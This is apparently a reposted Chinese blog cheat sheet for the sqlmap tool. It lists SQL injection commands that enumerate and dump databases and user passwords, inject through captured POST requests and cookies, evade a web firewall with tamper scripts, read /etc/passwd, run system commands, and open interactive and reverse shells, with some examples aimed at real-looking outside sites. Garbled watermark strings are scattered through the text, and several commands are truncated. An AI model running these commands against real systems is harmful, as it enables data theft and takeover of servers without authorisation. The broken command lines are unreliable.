十五年测试老手,长期负责WEB\APP 项目测试,目前主要负责团队管理工作。

sqlmap 详细用法

上一篇 / 下一篇  2015-11-06 21:06:03 / 个人分类:APP安全

文章来源
  • 文章来源:【转载】

]I3Uh;T0

1. 基础用法:

M2I z"I+l$b2}0

./sqlmap.py -u “注入地址” -v 1 –dbs   // 列举数据库
6Rx#]x3w!V$d;Fc0./sqlmap.py -u “注入地址” -v 1 –current-db   // 当前数据库
^!?CG a5UFx0./sqlmap.py -u “注入地址” -v 1 –users    // 列数据库用户51Testing软件测试网L0G)[_;g\-~
./sqlmap.py -u “注入地址” -v 1 –current-user  // 当前用户51Testing软件测试网(}!Js3t N+l tJ
./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库”   // 列举数据库的表名
)d+Z'\u{ vo0./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库”   // 获取表的列名
$X:D7~Y c1q0./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库”   // 获取表中的数据,包含列

/rbu cSCB.t/d0

已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、、、

Y/ES2g/aB.[Mb0


*|3A4QXl0g/o H$d02. sqlmap post注入
K zb$W`%[l2e2y0我们在使用Sqlmap进行post型注入时,
^"T!wH)`!t_ik0经常会出现请求遗漏导致注入失败的情况。
#` z,[\%Z6@J0这里分享一个小技巧,即结合burpsuite来使用sqlmap,51Testing软件测试网Tz1w4I0JP N-c
用这种方法进行post注入测试会更准确,操作起来也非常容易。
|.eD6C/y,?9}8O+k:m01. 浏览器打开目标地址http:// www.2cto.com /Login.asp51Testing软件测试网;K N,qrW;_sK/\X
2. 配置burp代理(127.0.0.1:8080)以拦截请求
5hu)bX&Hp}+q+gc03. 点击login表单的submit按钮
Jm1Zu1J(P$Y8OT04. 如下图,这时候Burp会拦截到了我们的登录POST请求51Testing软件测试网 s,T0ry|%G
5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下

gH,idHno&?UJ"m0

6. 运行sqlmap并使用如下命令:51Testing软件测试网2Wg D5|%Z
./sqlmap.py -r search-test.txt -p tfUPass

4LE!Bm/w9l"H7O'F0


8cjN,Z n.],Y#R _1|8w1S0

@ wD\9lpp}s0

这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,51Testing软件测试网G_ H'J8C Z
而-p 大家应该比较熟悉,指定注入用的参数。51Testing软件测试网ap"R d$iXf

3,sqlmap  cookies注入

Y yU^+I4k&q0

sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″  –dbs –level 2

0N cP/|gxC0

2. 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,那么这就很简单了,我 们直接在原有的基础上面加上 –level 2 即可

%I*de)D,ufO&S0

利用sqlmap cookies注入突破用户登录继续注入
hyB!ec^q0先把用户登陆的cookie拿到吧,
XR#_;jM0`2iCVv$R A0在收藏夹添加一个链接cookies属性:51Testing软件测试网 M#AK+NYl
名字自己取51Testing软件测试网!c$Ydd#y
javascript.:alert(document.cookie),,需要获取当前cookie的时候,51Testing软件测试网#?&JJ,IbQ i`Rwe
直接点一下这个链接,然后复制一下弹出对话框
T @f2U8dM#|0里的cookie值就搞定了51Testing软件测试网4db*F"Y$Y.E^1u+?

sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”

EU"l6c J3xC$r0

-p是指指定参数注入

E](x~I np/H0

4. sqlmap遇到url重写的注入

?F9qO*n:O.X0

哪里存在注入就加上 * 号51Testing软件测试网WQopUg
151Testing软件测试网 ZMP+s] oQ+f C
./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“51Testing软件测试网K5uSm)Z/T

5.sqlmap 编码绕waf注入51Testing软件测试网0y4d i)e$s1xN

./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”51Testing软件测试网0] aoye7G

在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载

w+O \].l M&D0


?#W5D:?H|0

tBn~ j5W R0

其他基础:
*V+k h!epa-f0sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #获取当前用户名称

'_`%U&d9QA3V#}/Y0


6c\g:W?L0

c@[MbN|-R,c0

sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db  #获取当前数据库名称

%LC/K2~$\0


]$E"H]z0

4l@ },Z{a7|9}J0

sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql”–tables  -D “db_name” #列表名51Testing软件测试网?%J~YV

51Testing软件测试网;R p f$?L/Bz P9?e

X"s*N~Eo{0

sqlmap -u “http://url/news?id=1” –level=3 –smart  –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段

v5Mi)DUT9| KlU0


)mJ(D J | j0

fT&bx C0

sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql”  –dump  -C “column_name”  -T “table_name” -D “db_name” -v 0   #获取字段内容

E"V9f_ `#z0

51Testing软件测试网7LD(a*V`4~
51Testing软件测试网%z*aNi;v rS5N i

 51Testing软件测试网'rM@C%VXY C7m

51Testing软件测试网-}}"e:D9v Q:w+f

k&Z y+a6UKJ#q y*|0

 51Testing软件测试网:WxDXPMN9W2^ax

51Testing软件测试网y%{w5Bm(^
51Testing软件测试网B-F"P`U'Et1w

 51Testing软件测试网 xX3Qo J)Y HPQ


yW CpC6Nc0

K6a;Tt7IA@0

******************信息获取******************51Testing软件测试网 }3wl3E_1AhT

51Testing软件测试网 wR(B!?q/ZE[8V
51Testing软件测试网v+HCL"U EF4X9XH,Sa

sqlmap -u “ –smart –dbms “Mysql” –users  #列数据库用户  sqlmap -u “ –smart –dbms “Mysql” –dbs#列数据库  sqlmap -u “ –smart –dbms “Mysql”–passwords #数据库用户密码  sqlmap -u “ –smart –dbms “Mysql”–passwords-U root  -v 0 #列出指定用户数据库密码  sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表   51Testing软件测试网 O6}^6{3b"t:^
sqlmap -u “ –smart –dbms “Mysql”–privileges #查看权限  sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定用户权限  sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是数据库管理员  sqlmap -u “ –smart –dbms “Mysql” –roles #枚举数据库用户角色  sqlmap -u “ –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)  51Testing软件测试网T-f/tY}1~5]q
sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表  
!f&}2D V6`0sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支持union 注入  sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查询表记录  sqlmap -u “ –smart –dbms “Mysql” –union-test #union 语句测试  51Testing软件测试网3H y%ElW!U3@H c
sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #采用union 注入  sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by  
r7fBk4b9E,wr7q/d0sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入  sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入  51Testing软件测试网Jn,X,L)HRA
sqlmap -u “ –smart –dbms “Mysql”-b #获取banner信息 

bB U7w1Dh)t0

51Testing软件测试网WO+{QKrM.j

RY*A@7y:{N9_0

sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指纹判别数据库类型51Testing软件测试网2oE I&cS AF%qy%T'F

51Testing软件测试网6Ng%nVw:h)aEH
51Testing软件测试网+Q4Xfs5Q2I9J-R1U I

sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” #代理注入51Testing软件测试网6Tw!\:`5Yy

51Testing软件测试网 x+@ij+U7R| v

%S'W4oJ5?+m-V0

sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“  #指定关键词

Z,I hMEq6[P.PxU4b0

51Testing软件测试网*yFv ]0kU

L1[5a,z8~0

sqlmap -u “ –smart –dbms “Mysql”–sql-shell #执行指定sql命令  
[$]'qF)A&h l)?Q0sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd  sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami #执行系统命令  sqlmap -u “ –smart –dbms “Mysql”–os-shell #系统交互shell  sqlmap -u “ –smart –dbms “Mysql”–os-pwn #反弹shell  sqlmap -u “ –smart –dbms “Mysql”–reg-read #读取win系统注册表  sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” #保存进度  sqlmap -u “ –smart –dbms “Mysql” –dbs  -o “sqlmap.log” –resume  #恢复已保存进度 51Testing软件测试网/`#E)X:\ Aw


4^+K Kld!G(L0

TAG:

 

评分:0

我来说两句

Open Toolbar